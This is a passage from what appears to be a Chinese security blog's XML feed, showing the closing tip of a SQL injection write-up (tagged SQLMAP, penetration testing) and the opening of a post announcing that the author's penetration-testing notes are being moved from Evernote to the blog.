<p> 2.在某些时候如果没有思路,对已有的信息再归纳归纳,或许有意想不到的收获,例如本次对注入点“优化”。</p>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>SQL注入</tag>
<tag>SQLMAP</tag>
</tags>
</entry>
<entry>
<title>渗透笔记整理</title>
<url>/archives/ff82748e.html</url>
<content><![CDATA[<p>最近在整理印象笔记,其中有许许多多经验、研究和杂七杂八的想法,我会逐步上传到博客。<br><img data-src="https://i.loli.net/2018/02/10/5a7e9cdf1cedb.png" alt="印象笔记截图.PNG"></p>